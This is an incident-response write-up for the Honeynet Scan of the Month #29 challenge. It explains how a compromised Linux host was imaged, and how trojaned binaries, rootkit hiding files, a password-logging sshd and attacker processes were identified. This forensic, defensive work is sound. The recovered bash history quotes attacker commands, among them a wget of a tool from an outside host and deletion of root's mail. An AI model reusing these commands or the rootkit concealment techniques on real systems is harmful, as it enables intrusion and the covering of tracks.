Writeup of the Scan of the Month challenge #29.

Michael T. Ford


1. Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.

When I first view the system console in vmware, I notice a message stating that eth0 has entered promiscuous mode. It isn't normal that an ethernet device is in promiscuous mode, but there may be a good reason for it. One is that the system administrator is running tcpdump. It is also possible that someone is running some sort of malicious program, such as a sniffer, to capture passwords. Next, I check the log files.
# tail /var/log/messages
"tail" doesn't return any messages, which is odd.
# ls -l /var/log/messages 
lrwxrwxrwx    1 root     root            9 Aug 10 18:30 /var/log/messages -> /dev/null
We see that /var/log/messages has been removed and then linked to /dev/null. This will prevent any future log messages from being saved. This is definitely not normal, and I assume the machine has been compromised. In running the following commands, I have changed the access times on /var/log/messages, /usr/bin/tail, and /bin/ls. I may have also added entries to /root/.bash_history showing the commands I just ran. This will change the modification time of that file, also.

Now that I have assumed the machine has been compromised, I begin to collect forensic evidence. On my forensic workstation, I use netcat to open a network socket with which I will receive the data from the compromised machine.

# nc -l -p 1025 > mem
# nc -l -p 1026 > proc
# nc -l -p 1027 > swap
On the compromised machine, I mount a CD-ROM containing an incident response toolkit. This will change the access time for /bin/mount.
# mount /dev/cdrom /mnt/cdrom
# cd /mnt/cdrom
I use the 'procget' command to save the proc filesystem. 'procget' is a command which will transfer a copy of the /proc filesystem to another host. The /proc filesystem is a virtual filesystem. This is because the files in /proc don't actually live on a disk somewhere. They are bits of kernel memory presented for usage or reading by a person or by programs. It's a window into the current configuration and activity of the system. The "files" on this filesystem give the viewer certain data about the running system. It could be information about processes or the configuration of the networking subsystem or a list of devices on the system. The /proc filesystem is a pretty extensive interface allowing an administrator, or in this case an investigator, to retrieve a wide variety of information about the current state of the system.

In my experience, cpio and tar are not good utilities to read the files from /proc because each uses the stat() system call in order to determine the length of the file before it then archives it. Since the contents of these files are generated on-the-fly by the kernel when they are accessed, a stat returns a file length of zero. Because the file length is zero, tar and cpio will both make an entry in the archive for the file, but neither of them will save any data. So in order to archive these files, I will use procget. It opens each file in the /proc filesystem and reads from them until the end of the file. It omits the length check. In addition to reading the files, it also transfers the file's name and contents to a specified address and port. On the remote host, procsave is used to turn the data stream back into a directory tree.

# ./procget 1026
Two other useful files to get are /dev/mem and /dev/kmem. /dev/mem is the entire contents of the system's memory. /dev/kmem is the virtual kernel address space. Because it's virtual space, it will have holes. This makes the archiving of this virtual file problematic since there isn't data right at the beginning of the file. Because parts of the file are vacuous, many programs will fail trying to read this file. I'll use memget, which is a special tool for archiving /dev/kmem. It tries sequentially to read each page from the file. If it receives an error, it is assumed that the page doesn't exist, and the program moves onto the next one. Similar to procget, memget transfers its data in a stream to a specified address and port.
# ./memget 1025
The next bit of semi-volatile data that can be saved is the swap partition. I'll just use netcat to transfer it.
# ./dd if=/dev/sda2 bs=4096 | ./nc 1027
I've transferred the snapshot of a small window of time to the forensics workstation. There will be a lot of data to analyze from it. Now that the volatile data is saved, I turn off the virtual machine. Nothing further in memory is saved, and nothing is backed up. This is good, because the filesystem won't be changed as it would during a clean shutdown. Also, any deleted files that were in use by running programs will still exist on the filesystem.

An investigator doesn't want to perform forensics analysis on the actual hard drive itself, as it must be kept pristine in order to avoid tainting the evidence. So the next step is to copy the data off of the hard disk onto another filesystem for analysis. So I boot Knoppix, which is a complete linux system on a CD. Knoppix is bootable, provides many utilities, and uses a minimal amount of memory. The downside to using knoppix is that it will use the swap partition on the hard drive, so the data on the partition is no longer viable for investigation. But I did transfer the swap partition in a previous step before the Knoppix boot, so we still have this data. The partition that we're interested in is the boot. I found a list of partitions using the 'fdisk' command, and outside of the swap partition, this is the only partition on the disk. Before I transfer the partitions, I run md5sum on it to get the cryptographic checksum of the partition. I can compare this later to the file we're analyzing in order to know that no data has changed during the imaging process. I'll now use the dd command to transfer the partition to the forensics workstation.

# md5sum /dev/sda1
e765ccb0a320fba7f108cb0d47f8d251  sda1
# dd if=/dev/sda1 bs=8192 | nc 1028

2. Explain the impact that your actions had on the running system.

When I approached the system, I was presented with a shell. That meant I didn't have to login, which would have modified times on files such as /bin/login, /var/run/utmp, /var/log/wtmp, etc.

On the commands I did run, the access time was updated. These commands include:

The access time was also updated on the /var/log/messages symbolic link. I would expect that /root/.bash_history would be updated as well, but later on I find that it is also a symbolic link to /dev/null. The /etc/mtab file is changed because of the mount of the tools CD.

Now that all of the evidence has been copied, I can start the investigation using the data on my forensics workstation.

3. List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).

I use the /proc/tcp file that I saved to get a list of all of the open TCP sockets on the system.
gizmo% cd proc
gizmo% cat tcp
0: 00000000:008B 00000000:0000 0A 1015 1 c44e7060 300 0 0 2 -1
1: 00000000:004F 00000000:0000 0A 881 1 c5ea5040 300 0 0 2 -1
2: 00000000:0050 00000000:0000 0A 977 1 c5757a80 300 0 0 2 -1
3: 00000000:0071 00000000:0000 0A 836 1 c55f6aa0 300 0 0 2 -1
4: 00000000:07D3 00000000:0000 0A 4571 1 c4108aa0 300 0 0 2 -1
5: 00000000:0015 00000000:0000 0A 883 1 c5ea5a40 300 0 0 2 -1
6: 00000000:0016 00000000:0000 0A 860 1 c55f65a0 300 0 0 2 -1
7: 00000000:0017 00000000:0000 0A 882 1 c5ea5540 300 0 0 2 -1
8: 00000000:FF38 00000000:0000 0A 15617 1 c0a60a80 300 0 0 2 -1
9: 00000000:0C38 00000000:0000 0A 12302 1 c16aca40 300 0 0 2 -1
10: 0100007F:0019 00000000:0000 0A 925 1 c57ceae0 300 0 0 2 -1
11: 00000000:01BB 00000000:0000 0A 976 1 c5757080 300 0 0 2 -1
12: 00000000:FF9C 00000000:0000 0A 15619 1 c43caa80 300 0 0 2 -1
13: 4F01A8C0:FF38 C8769AD5:04A4 01 16157 1 c41085a0 214 4 0 2 2
14: 4F01A8C0:047E 0101A8C0:0402 01 16553 2 c55f60a0 22 0 0 3 2
15: 4F01A8C0:047D 2A603E40:1A0B 01 16191 1 c3f27060 23 4 22 2 2
16: 4F01A8C0:047A 85A5B8C7:1A0B 01 15909 1 c16ac040 39 4 22 2 2
I can then use the virtual inode number in the fifth column to retrieve the process ID(s) associated with each socket. The second column also contains the local port number for the socket. The fourth column shows the state of the socket. "0A" refers to listening, and "01" means established. I'll examine the listening sockets here.
gizmo% cd proc
gizmo% foreach pid ([1-9]*)
> egrep socket $pid/fd/*
> end
The top level directory in each line returned by egrep is the process ID associated with the socket virtual inode listed in brackets. I can now cat the exe file from each process directory to find out which program is associated with each port number.
gizmo# cat 845/exe

139   /usr/sbin/smbd
79    /usr/sbin/xinetd
80    /lib/.x/s/xopen
113   /usr/sbin/identd
2003  /usr/bin/"smbd -D"
21    /usr/sbin/xinetd
22    /usr/sbin/sshd
23    /usr/sbin/xinetd
65336 /etc/opt/psybns/initd
3128  /lib/.x/s/xopen
25    /usr/sbin/sendmail
443   /usr/bin/"smbd -D"
65436 /etc/opt/psybnc/initd
I have now associated the port from the tcp file through the virtual inode from the tcp file, using egrep to correlate the virtual inode to a process ID and then using the exe file to connect the process ID to a specific executable. Some of these are not normally found on a RedHat Linux system. They are:
port  file
80    /lib/.x/s/xopen
443   /usr/bin/"smbd -D"
2003  /usr/bin/"smbd -D"
3128  /lib/.x/s/xopen
65336 /etc/opt/psybns/initd
65436 /etc/opt/psybnc/initd
I'll investigate what these each are later.

4. Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?

The last four lines of the /proc/net/tcp file we saw are:
13: 4F01A8C0:FF38 C8769AD5:04A4 01 16157 1 c41085a0 214 4 0 2 2
14: 4F01A8C0:047E 0101A8C0:0402 01 16553 2 c55f60a0 22 0 0 3 2
15: 4F01A8C0:047D 2A603E40:1A0B 01 16191 1 c3f27060 23 4 22 2 2
16: 4F01A8C0:047A 85A5B8C7:1A0B 01 15909 1 c16ac040 39 4 22 2 2
Using the same grep command, we associate the sockets with the process IDs.
And finally by translated the hex to a dotted quad, and also looking at the exe files under each process directory, we can associate each connection with a file. -  /etc/opt/psybnc/initd -       /etc/opt/psybnc/initd -   /etc/opt/psybnc/initd -       /mnt/cdrom/procget
The first three connections all have something to do with initd. We can tell the first connection is inbound from an external host because the system was listening on port 65536. The other two are outgoing connections on the IRC port. The fourth connection shows my using procget to transfer the proc data to my forensics workstation.

5. How many instances of an SSH server were installed and at what times?

There are four ssh server binaries installed. I use the fls and ils utilities from TASK to make a timeline of the files on the system.


This instance was installed on July 14th, 2003 at 16:54:33 EDT when the system was installed. We know that the md5sum matched, and so this is the binary provided with the system. The ctime on the sshd server has been modified by a hacker's script, but the sshd_config file in /etc retains the original ctime.

/usr/bin/"smbd -D"

This instance was installed by a hacker on August 10th, 2003 at 16:33:33 EDT. Although many of the files in /usr/bin and other bin directories have had their ctimes changed by chattr, the config files for this instance in /usr/include/ice* still have the original ctimes.


This instance appears to have been installed at 18:32:16 EDT on August 10th, 2003.


This instance was installed at 18:30:54 EDT on August 10th, 2003.

6. Which instances of the SSH servers from question 5 were run?

We can see that the following three are running by looking at the process list.


This instance started by default when the system was booted and was later killed.

/usr/bin/"smbd -D"

This instance is currently running as process 3137.


This instance is currently running as processes 25239 and 25241.


This instance wasn't run. Had it been run, it would have created the pid file /usr/lib/sp0.pid.

7. Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?

Yes, by running strings on /usr/bin/"smbd -D", we can see the following:
+-[ User Login Incoming ]----------- --- --- - -
| username: %s password: %s%s hostname: %s
+----------------------------------- ----- --- -- -- -
It appears that the username, password, and hostname are saved for each connection.

By running strings on the image of the partition and grep'ing for "User Login Incoming", we only find one match, and it must be for that in the executable.

gizmo# strings sda1 | egrep 'User Login Incoming'
+-[ User Login Incoming ]----------- --- --- - -

8. Which system executables (if any) were trojaned and what configuration files did they use?

First I get the md5sums of all of the files on the system so that I can compare them to the ones provided with the system image. I'll need to mount a copy of the partition, but the system won't mount it until it has been fsck'd so I'll fsck a copy of the copy.
gizmo# cp sda1 sda1.fsck
gizmo# e2fsck sda1.fsck
e2fsck 1.32 (09-Nov-2002)
/: recovering journal
Clearing orphaned inode 3187 (uid=48, gid=0, mode=0100600, size=0)
Clearing orphaned inode 45307 (uid=0, gid=0, mode=0100600, size=6679)
Clearing orphaned inode 46607 (uid=0, gid=0, mode=040700, size=4096)
Clearing orphaned inode 46924 (uid=0, gid=0, mode=0100644, size=207)
Clearing orphaned inode 46920 (uid=0, gid=0, mode=0100644, size=0)
Clearing orphaned inode 46733 (uid=0, gid=0, mode=040755, size=4096)
Clearing orphaned inode 45309 (uid=48, gid=0, mode=0100600, size=0)
Clearing orphaned inode 45308 (uid=48, gid=0, mode=0100600, size=0)
Clearing orphaned inode 46916 (uid=0, gid=0, mode=0100644, size=0)
Clearing orphaned inode 46934 (uid=0, gid=0, mode=0100644, size=253)
Clearing orphaned inode 46914 (uid=0, gid=0, mode=0100644, size=22795530)
Clearing orphaned inode 46935 (uid=0, gid=0, mode=0100644, size=23335716)
/: clean, 29899/117760 files, 79813/235516 blocks
gizmo# mkdir mnt
gizmo# mount -o ro,loop sda1.fsck mnt
gizmo# cd mnt
gizmo# find . -type f -exec md5sum {} \; >> ../hackedsums
Once I have the sums, I can compare the sums to the original sums.
gizmo# sortsums linux-suspended-md5s hackedsums > sumdiffs
gizmo# egrep ^BAD sumdiffs
BAD SUM:   /usr/bin/top
BAD SUM:   /bin/netstat
BAD SUM:   /bin/ps
BAD SUM:   /bin/ls
BAD SUM:   /sbin/ifconfig
BAD SUM:   /etc/rc.d/init.d/functions
BAD SUM:   /etc/rc.d/rc.sysinit
Of the executable files returned, there are seven interesting ones, including five binaries and two scripts. By runnings strings on the binaries, we can see pathnames that we don't expect:
gizmo# strings usr/bin/top
gizmo# strings bin/netstat
gizmo# strings bin/ps
gizmo# strings bin/ls
Now we look at these files in the dev directory.
gizmo# cat dev/ttyop
3 swapd
3 psybnc
3 sl2
3 sl3
3 smbd
3 uptime
3 x2
3 startwu
3 scan
3 r00t
These may be process names that shouldn't be displayed. This would make sense with ps and top.
gizmo# cat dev/ttyoa
1 213.233
1 24.104
1 217.10
1 216
1 193
1 209.118
3 10001
3 10002
3 13064 
3 19
3 69
3 6667
4 10001
4 6667 
4 10002
4 19
4 69
4 13064
These numbers appear to be network numbers or ports. We can assume that this netstat won't show them.
gizmo# cat dev/ttyof
These look like filenames, and with ttyof string in the ls command, we can assume ls won't show these files.

Running strings on sbin/ifconfig doesn't show any interesting string, but what is interesting is the absence of the string "PROMISC". One would see "PROMISC" on an interface that is in promiscuous mode, such as one on which a sniffer was monitoring.

If we look at the start script etc/rc.d/init.d/functions, we see that a line has been added to the end:

/usr/bin/crontabs -t1 -X53 -p
"crontab" is a normal system command. "crontabs" is not. By running strings on that file, we see that it uses the "system" system call and there's a string containing "smbd -D".
gizmo# strings usr/bin/crontabs
"smbd -D"
The "system" system call is interesting here because it is used to run commands on the system. We can assume that "crontabs" is used to start the "smbd -D" program that has been placed in usr/bin. "smbd -D" has been made to resemble "smbd" running with the "-D" option, but here, the program is the seven characters "smbd -D". In a "ps" listing, one might not be able to tell the difference between the two.

If we look at the end of the start script etc/rc.d/rc.sysinit, we see another line which has been added:

One might normally see a kflushd running on a linux box, but it would be a kernel thread and not a process run from a binary on the system. This may be another trojan file, but it doesn't seem to have been fully installed on the system.

9. How and from where was the system likely compromised?

By using the lazarus utility to resurrect old files from the filesystem, I was able to find many pieces of different rootkits. I also found many exploits for wu-ftpd 2.6.0. Running strings on usr/sbin/in.ftpd shows that the victim system is running 2.6.1-18 so perhaps it's not vulnerable to these exploits. One hostname that we see often in different files I found is sbm79.dtc.apu.edu. But looking at /.bash_history, we see:
gizmo# more .bash_history 
hostname sbm79.dtc.apu.edu
cd /dev/shm/sc
./install sbm79.dtc.apu.edu
rm -rf /var/mail/root
ps x
cd /tmp
ls -a
wget izolam.net/sslstop.tar.gz
ps x
ps aux | grep apache
kill -9  21510  21511 23289  23292 23302
It appears as thought the victim machine's hostname has been set to sbm79.dtc.apu.edu so that's not the attacker. We also have the IP address from the netstat information. There is a connection established to the victim system from If we look at the owner of many of the newly installed files, they have their owner set as apache. This implies that the apache web server was attacked, and the hacker used the hijacked daemon to create the new files. Because the daemon runs as user apache, the new files were owned by that user. It's odd that there were three new ssh packages installed. One reason for this might be that multiple hackers broke into the victim machine. If this is the case, the others may have entered through different vulnerabilities than apache.

Bonus Question: What nationality do you believe the attacker(s) to be, and why?

The IP address found in the netstat information comes back to an ISP in Bucharest, Romania. The text of many of the scripts lazarus found appears to be Romanian. Without further evidence, I assume the hacker is from Romania.